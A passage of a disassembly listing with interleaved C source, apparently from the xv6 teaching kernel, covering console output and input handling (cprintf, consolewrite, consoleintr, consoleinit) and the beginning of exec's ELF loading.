volatile("cli"); 8010060d: fa cli for(;;) 8010060e: eb fe jmp 8010060e <printint+0x6e> 80100610: e8 fb fd ff ff call 80100410 <consputc.part.0> while(--i >= 0) 80100615: 39 fb cmp %edi,%ebx 80100617: 74 10 je 80100629 <printint+0x89> 80100619: 0f be 03 movsbl (%ebx),%eax 8010061c: 83 eb 01 sub $0x1,%ebx 8010061f: eb e2 jmp 80100603 <printint+0x63> x = -xx; 80100621: f7 d8 neg %eax 80100623: 89 ce mov %ecx,%esi 80100625: 89 c1 mov %eax,%ecx 80100627: eb 8f jmp 801005b8 <printint+0x18> } 80100629: 83 c4 2c add $0x2c,%esp 8010062c: 5b pop %ebx 8010062d: 5e pop %esi 8010062e: 5f pop %edi 8010062f: 5d pop %ebp 80100630: c3 ret 80100631: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100638: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010063f: 90 nop 80100640 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80100640: f3 0f 1e fb endbr32 80100644: 55 push %ebp 80100645: 89 e5 mov %esp,%ebp 80100647: 57 push %edi 80100648: 56 push %esi 80100649: 53 push %ebx 8010064a: 83 ec 18 sub $0x18,%esp int i; iunlock(ip); 8010064d: ff 75 08 pushl 0x8(%ebp) { 80100650: 8b 5d 10 mov 0x10(%ebp),%ebx iunlock(ip); 80100653: e8 e8 11 00 00 call 80101840 <iunlock> acquire(&cons.lock); 80100658: c7 04 24 20 b5 10 80 movl $0x8010b520,(%esp) 8010065f: e8 dc 44 00 00 call 80104b40 <acquire> for(i = 0; i < n; i++) 80100664: 83 c4 10 add $0x10,%esp 80100667: 85 db test %ebx,%ebx 80100669: 7e 24 jle 8010068f <consolewrite+0x4f> 8010066b: 8b 7d 0c mov 0xc(%ebp),%edi 8010066e: 8d 34 1f lea (%edi,%ebx,1),%esi if(panicked){ 80100671: 8b 15 58 b5 10 80 mov 0x8010b558,%edx 80100677: 85 d2 test %edx,%edx 80100679: 74 05 je 80100680 <consolewrite+0x40> 8010067b: fa cli for(;;) 8010067c: eb fe jmp 8010067c <consolewrite+0x3c> 8010067e: 66 90 xchg %ax,%ax consputc(buf[i] & 0xff); 80100680: 0f b6 07 movzbl (%edi),%eax 80100683: 83 c7 01 add $0x1,%edi 80100686: e8 85 fd ff ff call 80100410 <consputc.part.0> for(i = 0; i < n; i++) 8010068b: 39 fe cmp %edi,%esi 8010068d: 75 e2 jne 80100671 <consolewrite+0x31> release(&cons.lock); 8010068f: 83 ec 0c sub $0xc,%esp 80100692: 68 20 b5 10 80 push $0x8010b520 80100697: e8 64 45 00 00 call 80104c00 <release> ilock(ip); 8010069c: 58 pop %eax 8010069d: ff 75 08 pushl 0x8(%ebp) 801006a0: e8 bb 10 00 00 call 80101760 <ilock> return n; } 801006a5: 8d 65 f4 lea -0xc(%ebp),%esp 801006a8: 89 d8 mov %ebx,%eax 801006aa: 5b pop %ebx 801006ab: 5e pop %esi 801006ac: 5f pop %edi 801006ad: 5d pop %ebp 801006ae: c3 ret 801006af: 90 nop 801006b0 <cprintf>: { 801006b0: f3 0f 1e fb endbr32 801006b4: 55 push %ebp 801006b5: 89 e5 mov %esp,%ebp 801006b7: 57 push %edi 801006b8: 56 push %esi 801006b9: 53 push %ebx 801006ba: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 801006bd: a1 54 b5 10 80 mov 0x8010b554,%eax 801006c2: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 801006c5: 85 c0 test %eax,%eax 801006c7: 0f 85 e8 00 00 00 jne 801007b5 <cprintf+0x105> if (fmt == 0) 801006cd: 8b 45 08 mov 0x8(%ebp),%eax 801006d0: 89 45 e4 mov %eax,-0x1c(%ebp) 801006d3: 85 c0 test %eax,%eax 801006d5: 0f 84 5a 01 00 00 je 80100835 <cprintf+0x185> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006db: 0f b6 00 movzbl (%eax),%eax 801006de: 85 c0 test %eax,%eax 801006e0: 74 36 je 80100718 <cprintf+0x68> argp = (uint*)(void*)(&fmt + 1); 801006e2: 8d 5d 0c lea 0xc(%ebp),%ebx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006e5: 31 f6 xor %esi,%esi if(c != '%'){ 801006e7: 83 f8 25 cmp $0x25,%eax 801006ea: 74 44 je 80100730 <cprintf+0x80> if(panicked){ 801006ec: 8b 0d 58 b5 10 80 mov 0x8010b558,%ecx 801006f2: 85 c9 test %ecx,%ecx 801006f4: 74 0f je 80100705 <cprintf+0x55> 801006f6: fa cli for(;;) 801006f7: eb fe jmp 801006f7 <cprintf+0x47> 801006f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100700: b8 25 00 00 00 mov $0x25,%eax 80100705: e8 06 fd ff ff call 80100410 <consputc.part.0> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8010070a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010070d: 83 c6 01 add $0x1,%esi 80100710: 0f b6 04 30 movzbl (%eax,%esi,1),%eax 80100714: 85 c0 test %eax,%eax 80100716: 75 cf jne 801006e7 <cprintf+0x37> if(locking) 80100718: 8b 45 e0 mov -0x20(%ebp),%eax 8010071b: 85 c0 test %eax,%eax 8010071d: 0f 85 fd 00 00 00 jne 80100820 <cprintf+0x170> } 80100723: 8d 65 f4 lea -0xc(%ebp),%esp 80100726: 5b pop %ebx 80100727: 5e pop %esi 80100728: 5f pop %edi 80100729: 5d pop %ebp 8010072a: c3 ret 8010072b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010072f: 90 nop c = fmt[++i] & 0xff; 80100730: 8b 45 e4 mov -0x1c(%ebp),%eax 80100733: 83 c6 01 add $0x1,%esi 80100736: 0f b6 3c 30 movzbl (%eax,%esi,1),%edi if(c == 0) 8010073a: 85 ff test %edi,%edi 8010073c: 74 da je 80100718 <cprintf+0x68> switch(c){ 8010073e: 83 ff 70 cmp $0x70,%edi 80100741: 74 5a je 8010079d <cprintf+0xed> 80100743: 7f 2a jg 8010076f <cprintf+0xbf> 80100745: 83 ff 25 cmp $0x25,%edi 80100748: 0f 84 92 00 00 00 je 801007e0 <cprintf+0x130> 8010074e: 83 ff 64 cmp $0x64,%edi 80100751: 0f 85 a1 00 00 00 jne 801007f8 <cprintf+0x148> printint(*argp++, 10, 1); 80100757: 8b 03 mov (%ebx),%eax 80100759: 8d 7b 04 lea 0x4(%ebx),%edi 8010075c: b9 01 00 00 00 mov $0x1,%ecx 80100761: ba 0a 00 00 00 mov $0xa,%edx 80100766: 89 fb mov %edi,%ebx 80100768: e8 33 fe ff ff call 801005a0 <printint> break; 8010076d: eb 9b jmp 8010070a <cprintf+0x5a> switch(c){ 8010076f: 83 ff 73 cmp $0x73,%edi 80100772: 75 24 jne 80100798 <cprintf+0xe8> if((s = (char*)*argp++) == 0) 80100774: 8d 7b 04 lea 0x4(%ebx),%edi 80100777: 8b 1b mov (%ebx),%ebx 80100779: 85 db test %ebx,%ebx 8010077b: 75 55 jne 801007d2 <cprintf+0x122> s = "(null)"; 8010077d: bb 38 78 10 80 mov $0x80107838,%ebx for(; *s; s++) 80100782: b8 28 00 00 00 mov $0x28,%eax if(panicked){ 80100787: 8b 15 58 b5 10 80 mov 0x8010b558,%edx 8010078d: 85 d2 test %edx,%edx 8010078f: 74 39 je 801007ca <cprintf+0x11a> 80100791: fa cli for(;;) 80100792: eb fe jmp 80100792 <cprintf+0xe2> 80100794: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch(c){ 80100798: 83 ff 78 cmp $0x78,%edi 8010079b: 75 5b jne 801007f8 <cprintf+0x148> printint(*argp++, 16, 0); 8010079d: 8b 03 mov (%ebx),%eax 8010079f: 8d 7b 04 lea 0x4(%ebx),%edi 801007a2: 31 c9 xor %ecx,%ecx 801007a4: ba 10 00 00 00 mov $0x10,%edx 801007a9: 89 fb mov %edi,%ebx 801007ab: e8 f0 fd ff ff call 801005a0 <printint> break; 801007b0: e9 55 ff ff ff jmp 8010070a <cprintf+0x5a> acquire(&cons.lock); 801007b5: 83 ec 0c sub $0xc,%esp 801007b8: 68 20 b5 10 80 push $0x8010b520 801007bd: e8 7e 43 00 00 call 80104b40 <acquire> 801007c2: 83 c4 10 add $0x10,%esp 801007c5: e9 03 ff ff ff jmp 801006cd <cprintf+0x1d> 801007ca: e8 41 fc ff ff call 80100410 <consputc.part.0> for(; *s; s++) 801007cf: 83 c3 01 add $0x1,%ebx 801007d2: 0f be 03 movsbl (%ebx),%eax 801007d5: 84 c0 test %al,%al 801007d7: 75 ae jne 80100787 <cprintf+0xd7> if((s = (char*)*argp++) == 0) 801007d9: 89 fb mov %edi,%ebx 801007db: e9 2a ff ff ff jmp 8010070a <cprintf+0x5a> if(panicked){ 801007e0: 8b 3d 58 b5 10 80 mov 0x8010b558,%edi 801007e6: 85 ff test %edi,%edi 801007e8: 0f 84 12 ff ff ff je 80100700 <cprintf+0x50> 801007ee: fa cli for(;;) 801007ef: eb fe jmp 801007ef <cprintf+0x13f> 801007f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(panicked){ 801007f8: 8b 0d 58 b5 10 80 mov 0x8010b558,%ecx 801007fe: 85 c9 test %ecx,%ecx 80100800: 74 06 je 80100808 <cprintf+0x158> 80100802: fa cli for(;;) 80100803: eb fe jmp 80100803 <cprintf+0x153> 80100805: 8d 76 00 lea 0x0(%esi),%esi 80100808: b8 25 00 00 00 mov $0x25,%eax 8010080d: e8 fe fb ff ff call 80100410 <consputc.part.0> if(panicked){ 80100812: 8b 15 58 b5 10 80 mov 0x8010b558,%edx 80100818: 85 d2 test %edx,%edx 8010081a: 74 2c je 80100848 <cprintf+0x198> 8010081c: fa cli for(;;) 8010081d: eb fe jmp 8010081d <cprintf+0x16d> 8010081f: 90 nop release(&cons.lock); 80100820: 83 ec 0c sub $0xc,%esp 80100823: 68 20 b5 10 80 push $0x8010b520 80100828: e8 d3 43 00 00 call 80104c00 <release> 8010082d: 83 c4 10 add $0x10,%esp } 80100830: e9 ee fe ff ff jmp 80100723 <cprintf+0x73> panic("null fmt"); 80100835: 83 ec 0c sub $0xc,%esp 80100838: 68 3f 78 10 80 push $0x8010783f 8010083d: e8 4e fb ff ff call 80100390 <panic> 80100842: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100848: 89 f8 mov %edi,%eax 8010084a: e8 c1 fb ff ff call 80100410 <consputc.part.0> 8010084f: e9 b6 fe ff ff jmp 8010070a <cprintf+0x5a> 80100854: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010085b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010085f: 90 nop 80100860 <consoleintr>: { 80100860: f3 0f 1e fb endbr32 80100864: 55 push %ebp 80100865: 89 e5 mov %esp,%ebp 80100867: 57 push %edi 80100868: 56 push %esi int c, doprocdump = 0; 80100869: 31 f6 xor %esi,%esi { 8010086b: 53 push %ebx 8010086c: 83 ec 18 sub $0x18,%esp 8010086f: 8b 7d 08 mov 0x8(%ebp),%edi acquire(&cons.lock); 80100872: 68 20 b5 10 80 push $0x8010b520 80100877: e8 c4 42 00 00 call 80104b40 <acquire> while((c = getc()) >= 0){ 8010087c: 83 c4 10 add $0x10,%esp 8010087f: eb 17 jmp 80100898 <consoleintr+0x38> switch(c){ 80100881: 83 fb 08 cmp $0x8,%ebx 80100884: 0f 84 f6 00 00 00 je 80100980 <consoleintr+0x120> 8010088a: 83 fb 10 cmp $0x10,%ebx 8010088d: 0f 85 15 01 00 00 jne 801009a8 <consoleintr+0x148> 80100893: be 01 00 00 00 mov $0x1,%esi while((c = getc()) >= 0){ 80100898: ff d7 call *%edi 8010089a: 89 c3 mov %eax,%ebx 8010089c: 85 c0 test %eax,%eax 8010089e: 0f 88 23 01 00 00 js 801009c7 <consoleintr+0x167> switch(c){ 801008a4: 83 fb 15 cmp $0x15,%ebx 801008a7: 74 77 je 80100920 <consoleintr+0xc0> 801008a9: 7e d6 jle 80100881 <consoleintr+0x21> 801008ab: 83 fb 7f cmp $0x7f,%ebx 801008ae: 0f 84 cc 00 00 00 je 80100980 <consoleintr+0x120> if(c != 0 && input.e-input.r < INPUT_BUF){ 801008b4: a1 a8 0f 11 80 mov 0x80110fa8,%eax 801008b9: 89 c2 mov %eax,%edx 801008bb: 2b 15 a0 0f 11 80 sub 0x80110fa0,%edx 801008c1: 83 fa 7f cmp $0x7f,%edx 801008c4: 77 d2 ja 80100898 <consoleintr+0x38> c = (c == '\r') ? '\n' : c; 801008c6: 8d 48 01 lea 0x1(%eax),%ecx 801008c9: 8b 15 58 b5 10 80 mov 0x8010b558,%edx 801008cf: 83 e0 7f and $0x7f,%eax input.buf[input.e++ % INPUT_BUF] = c; 801008d2: 89 0d a8 0f 11 80 mov %ecx,0x80110fa8 c = (c == '\r') ? '\n' : c; 801008d8: 83 fb 0d cmp $0xd,%ebx 801008db: 0f 84 02 01 00 00 je 801009e3 <consoleintr+0x183> input.buf[input.e++ % INPUT_BUF] = c; 801008e1: 88 98 20 0f 11 80 mov %bl,-0x7feef0e0(%eax) if(panicked){ 801008e7: 85 d2 test %edx,%edx 801008e9: 0f 85 ff 00 00 00 jne 801009ee <consoleintr+0x18e> 801008ef: 89 d8 mov %ebx,%eax 801008f1: e8 1a fb ff ff call 80100410 <consputc.part.0> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008f6: 83 fb 0a cmp $0xa,%ebx 801008f9: 0f 84 0f 01 00 00 je 80100a0e <consoleintr+0x1ae> 801008ff: 83 fb 04 cmp $0x4,%ebx 80100902: 0f 84 06 01 00 00 je 80100a0e <consoleintr+0x1ae> 80100908: a1 a0 0f 11 80 mov 0x80110fa0,%eax 8010090d: 83 e8 80 sub $0xffffff80,%eax 80100910: 39 05 a8 0f 11 80 cmp %eax,0x80110fa8 80100916: 75 80 jne 80100898 <consoleintr+0x38> 80100918: e9 f6 00 00 00 jmp 80100a13 <consoleintr+0x1b3> 8010091d: 8d 76 00 lea 0x0(%esi),%esi while(input.e != input.w && 80100920: a1 a8 0f 11 80 mov 0x80110fa8,%eax 80100925: 39 05 a4 0f 11 80 cmp %eax,0x80110fa4 8010092b: 0f 84 67 ff ff ff je 80100898 <consoleintr+0x38> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100931: 83 e8 01 sub $0x1,%eax 80100934: 89 c2 mov %eax,%edx 80100936: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100939: 80 ba 20 0f 11 80 0a cmpb $0xa,-0x7feef0e0(%edx) 80100940: 0f 84 52 ff ff ff je 80100898 <consoleintr+0x38> if(panicked){ 80100946: 8b 15 58 b5 10 80 mov 0x8010b558,%edx input.e--; 8010094c: a3 a8 0f 11 80 mov %eax,0x80110fa8 if(panicked){ 80100951: 85 d2 test %edx,%edx 80100953: 74 0b je 80100960 <consoleintr+0x100> 80100955: fa cli for(;;) 80100956: eb fe jmp 80100956 <consoleintr+0xf6> 80100958: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010095f: 90 nop 80100960: b8 00 01 00 00 mov $0x100,%eax 80100965: e8 a6 fa ff ff call 80100410 <consputc.part.0> while(input.e != input.w && 8010096a: a1 a8 0f 11 80 mov 0x80110fa8,%eax 8010096f: 3b 05 a4 0f 11 80 cmp 0x80110fa4,%eax 80100975: 75 ba jne 80100931 <consoleintr+0xd1> 80100977: e9 1c ff ff ff jmp 80100898 <consoleintr+0x38> 8010097c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(input.e != input.w){ 80100980: a1 a8 0f 11 80 mov 0x80110fa8,%eax 80100985: 3b 05 a4 0f 11 80 cmp 0x80110fa4,%eax 8010098b: 0f 84 07 ff ff ff je 80100898 <consoleintr+0x38> input.e--; 80100991: 83 e8 01 sub $0x1,%eax 80100994: a3 a8 0f 11 80 mov %eax,0x80110fa8 if(panicked){ 80100999: a1 58 b5 10 80 mov 0x8010b558,%eax 8010099e: 85 c0 test %eax,%eax 801009a0: 74 16 je 801009b8 <consoleintr+0x158> 801009a2: fa cli for(;;) 801009a3: eb fe jmp 801009a3 <consoleintr+0x143> 801009a5: 8d 76 00 lea 0x0(%esi),%esi if(c != 0 && input.e-input.r < INPUT_BUF){ 801009a8: 85 db test %ebx,%ebx 801009aa: 0f 84 e8 fe ff ff je 80100898 <consoleintr+0x38> 801009b0: e9 ff fe ff ff jmp 801008b4 <consoleintr+0x54> 801009b5: 8d 76 00 lea 0x0(%esi),%esi 801009b8: b8 00 01 00 00 mov $0x100,%eax 801009bd: e8 4e fa ff ff call 80100410 <consputc.part.0> 801009c2: e9 d1 fe ff ff jmp 80100898 <consoleintr+0x38> release(&cons.lock); 801009c7: 83 ec 0c sub $0xc,%esp 801009ca: 68 20 b5 10 80 push $0x8010b520 801009cf: e8 2c 42 00 00 call 80104c00 <release> if(doprocdump) { 801009d4: 83 c4 10 add $0x10,%esp 801009d7: 85 f6 test %esi,%esi 801009d9: 75 1d jne 801009f8 <consoleintr+0x198> } 801009db: 8d 65 f4 lea -0xc(%ebp),%esp 801009de: 5b pop %ebx 801009df: 5e pop %esi 801009e0: 5f pop %edi 801009e1: 5d pop %ebp 801009e2: c3 ret input.buf[input.e++ % INPUT_BUF] = c; 801009e3: c6 80 20 0f 11 80 0a movb $0xa,-0x7feef0e0(%eax) if(panicked){ 801009ea: 85 d2 test %edx,%edx 801009ec: 74 16 je 80100a04 <consoleintr+0x1a4> 801009ee: fa cli for(;;) 801009ef: eb fe jmp 801009ef <consoleintr+0x18f> 801009f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } 801009f8: 8d 65 f4 lea -0xc(%ebp),%esp 801009fb: 5b pop %ebx 801009fc: 5e pop %esi 801009fd: 5f pop %edi 801009fe: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 801009ff: e9 9c 3d 00 00 jmp 801047a0 <procdump> 80100a04: b8 0a 00 00 00 mov $0xa,%eax 80100a09: e8 02 fa ff ff call 80100410 <consputc.part.0> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100a0e: a1 a8 0f 11 80 mov 0x80110fa8,%eax wakeup(&input.r); 80100a13: 83 ec 0c sub $0xc,%esp input.w = input.e; 80100a16: a3 a4 0f 11 80 mov %eax,0x80110fa4 wakeup(&input.r); 80100a1b: 68 a0 0f 11 80 push $0x80110fa0 80100a20: e8 2b 3c 00 00 call 80104650 <wakeup> 80100a25: 83 c4 10 add $0x10,%esp 80100a28: e9 6b fe ff ff jmp 80100898 <consoleintr+0x38> 80100a2d: 8d 76 00 lea 0x0(%esi),%esi 80100a30 <consoleinit>: void consoleinit(void) { 80100a30: f3 0f 1e fb endbr32 80100a34: 55 push %ebp 80100a35: 89 e5 mov %esp,%ebp 80100a37: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 80100a3a: 68 48 78 10 80 push $0x80107848 80100a3f: 68 20 b5 10 80 push $0x8010b520 80100a44: e8 77 3f 00 00 call 801049c0 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 80100a49: 58 pop %eax 80100a4a: 5a pop %edx 80100a4b: 6a 00 push $0x0 80100a4d: 6a 01 push $0x1 devsw[CONSOLE].write = consolewrite; 80100a4f: c7 05 6c 19 11 80 40 movl $0x80100640,0x8011196c 80100a56: 06 10 80 devsw[CONSOLE].read = consoleread; 80100a59: c7 05 68 19 11 80 90 movl $0x80100290,0x80111968 80100a60: 02 10 80 cons.locking = 1; 80100a63: c7 05 54 b5 10 80 01 movl $0x1,0x8010b554 80100a6a: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100a6d: e8 be 19 00 00 call 80102430 <ioapicenable> } 80100a72: 83 c4 10 add $0x10,%esp 80100a75: c9 leave 80100a76: c3 ret 80100a77: 66 90 xchg %ax,%ax 80100a79: 66 90 xchg %ax,%ax 80100a7b: 66 90 xchg %ax,%ax 80100a7d: 66 90 xchg %ax,%ax 80100a7f: 90 nop 80100a80 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 80100a80: f3 0f 1e fb endbr32 80100a84: 55 push %ebp 80100a85: 89 e5 mov %esp,%ebp 80100a87: 57 push %edi 80100a88: 56 push %esi 80100a89: 53 push %ebx 80100a8a: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 80100a90: e8 fb 2e 00 00 call 80103990 <myproc> 80100a95: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) begin_op(); 80100a9b: e8 90 22 00 00 call 80102d30 <begin_op> if((ip = namei(path)) == 0){ 80100aa0: 83 ec 0c sub $0xc,%esp 80100aa3: ff 75 08 pushl 0x8(%ebp) 80100aa6: e8 85 15 00 00 call 80102030 <namei> 80100aab: 83 c4 10 add $0x10,%esp 80100aae: 85 c0 test %eax,%eax 80100ab0: 0f 84 fe 02 00 00 je 80100db4 <exec+0x334> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100ab6: 83 ec 0c sub $0xc,%esp 80100ab9: 89 c3 mov %eax,%ebx 80100abb: 50 push %eax 80100abc: e8 9f 0c 00 00 call 80101760 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100ac1: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100ac7: 6a 34 push $0x34 80100ac9: 6a 00 push $0x0 80100acb: 50 push %eax 80100acc: 53 push %ebx 80100acd: e8 8e 0f 00 00 call 80101a60 <readi> 80100ad2: 83 c4 20 add $0x20,%esp 80100ad5: 83 f8 34 cmp $0x34,%eax 80100ad8: 74 26 je 80100b00 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100ada: 83 ec 0c sub $0xc,%esp 80100add: 53 push %ebx 80100ade: e8 1d 0f 00 00 call 80101a00 <iunlockput> end_op(); 80100ae3: e8 b8 22 00 00 call 80102da0 <end_op> 80100ae8: 83 c4 10 add $0x10,%esp } return -1; 80100aeb: b8 ff ff ff ff mov $0xffffffff,%eax } 80100af0: 8d 65 f4 lea -0xc(%ebp),%esp 80100af3: 5b pop %ebx 80100af4: 5e pop %esi 80100af5: 5f pop %edi 80100af6: 5d pop %ebp 80100af7: c3 ret 80100af8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100aff: 90 nop if(elf.magic != ELF_MAGIC) 80100b00: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100b07: 45 4c 46 80100b0a: 75 ce jne 80100ada <exec+0x5a> if((pgdir = setupkvm()) == 0) 80100b0c: e8 2f 6a 00 00 call 80107540 <setupkvm> 80100b11: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) 80100b17: 85 c0 test %eax,%eax 80100b19: 74 bf je 80100ada <exec+0x5a> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100b1b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100b22: 00 80100b23: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi 80100b29: 0f 84 a4 02 00 00 je 80100dd3 <exec+0x353> sz = 0; 80100b2f: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp) 80100b36: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100b39: 31 ff xor %edi,%edi 80100b3b: e9 86 00 00 00 jmp 80100bc6 <exec+0x146> if(ph.type != ELF_PROG_LOAD) 80100b40: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100b47: 75 6c jne 80100bb5 <exec+0x135> if(ph.memsz < ph.filesz) 80100b49: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100b4f: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100b55: 0f 82 87 00 00 00 jb 80100be2 <exec+0x162> if(ph.vaddr + ph.memsz < ph.vaddr) 80100b5b: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100b61: 72 7f jb 80100be2 <exec+0x162> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100b63: 83 ec 04 sub $0x4,%esp 80100b66: 50 push %eax 80100b67: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b6d: ff b5 f4 fe ff ff pushl -0x10c(%ebp) 80100b73: e8 e8 67 00 00 call 80107360 <allocuvm> 80100b78: 83 c4 10 add $0x10,%esp 80100b7b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100b81: 85 c0 test %eax,%eax 80100b83: 74 5d je 80100be2 <exec+0x162> if(ph.vaddr % PGSIZE != 0) 80100b85: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b8b: a9 ff 0f 00 00 test $0xfff,%eax 80100b90: 75 50 jne 80100be2 <exec+0x162> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b92: 83 ec 0c sub $0xc,%esp 80100b95: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b9b: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100ba1: 53 push %ebx 80100ba2: 50 push %eax 80100ba3: ff b5 f4 fe ff ff pushl -0x10c(%ebp) 80100ba9: e8 e2 66 00 00 call 80107290 <loaduvm> 80100bae: 83 c4 20 add $0x20,%esp 80100bb1: 85 c0 test %eax,%eax 80100bb3: 78 2d js 80100be2 <exec+0x162> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100bb5: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100bbc: 83 c7 01 add $0x1,%edi 80100bbf: 83 c6 20 add $0x20,%esi 80100bc2: 39 f8 cmp %edi,%eax 80100bc4: 7e 3a jle 80100c00 <exec+0x180> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100bc6: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100bcc: 6a 20 push $0x20 80100bce: 56 push %esi 80100bcf: 50 push %eax 80100bd0: 53 push %ebx 80100bd1: e8 8a 0e 00 00 call 80101a60 <readi> 80100bd6: 83 c4 10 add $0x10,%esp 80100bd9: 83 f8 20 cmp $0x20,%eax 80100bdc: 0f 84 5e ff ff ff je 80100b40 <exec+0xc0> freevm(pgdir); 80100be2: 83 ec 0c sub $0xc,%esp 80100be5: ff b5 f4 fe ff ff pushl -0x10c(%ebp) 80100beb: e8 d0 68 00 00 call 801074c0 <freevm> if(ip){ 80100bf0: 83 c4 10 add $0x10,%esp 80100bf3: e9 e2 fe ff ff jmp 80100ada <exec+0x5a> 80100bf8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100bff: 90 nop 80100c00: 8b bd f0 fe ff ff mov -0x110(%ebp),%edi 80100c06: 81 c7 ff 0f 00 00 add $0xfff,%edi 80100c0c: 81 e7 00 f0 ff ff and $0xfffff000,%edi 80100c12: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi iunlockput(ip); 80100c18: 83 ec 0c sub $0xc,%esp 80100c1b: 53 push %ebx 80100c1c: e8 df 0d 00 00 call 80101a00 <iunlockput> end_op(); 80100c21: e8 7a 21 00 00 call 80102da0 <end_op> if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100c26: 83 c4 0c add $0xc,%esp 80100c29: 56 push %esi 80100c2a: 57 push %edi 80100c2b: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100c31: 57 push %edi 80100c32: e8 29 67 00 00 call 80107360 <allocuvm> 80100c37: 83 c4 10 add $0x10,%esp 80100c3a: 89 c6 mov %eax,%esi 80100c3c: 85 c0 test %eax,%eax 80100c3e: 0f 84 94 00 00 00 je 80100cd8 <exec+0x258> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100c44: 83 ec 08 sub $0x8,%esp 80100c47: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax for(argc = 0; argv[argc]; argc++) { 80100c4d: 89 f3 mov %esi,%ebx clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100c4f: 50 push %eax 80100c50: 57 push %edi for(argc = 0; argv[argc]; argc++) { 80100c51: 31 ff xor %edi,%edi clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100c53: e8 88 69 00 00 call 801075e0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100c58: 8b 45 0c mov 0xc(%ebp),%eax 80100c5b: 83 c4 10 add $0x10,%esp 80100c5e: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c64: 8b 00 mov (%eax),%eax 80100c66: 85 c0 test %eax,%eax 80100c68: 0f 84 8b 00 00 00 je 80100cf9 <exec+0x279> 80100c6e: 89 b5 f0 fe ff ff mov %esi,-0x110(%ebp) 80100c74: 8b b5 f4 fe ff ff mov -0x10c(%ebp),%esi 80100c7a: eb 23 jmp 80100c9f <exec+0x21f> 80100c7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100c80: 8b 45 0c mov 0xc(%ebp),%eax ustack[3+argc] = sp; 80100c83: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c8a: 83 c7 01 add $0x1,%edi ustack[3+argc] = sp; 80100c8d: 8d 95 58 ff ff ff lea 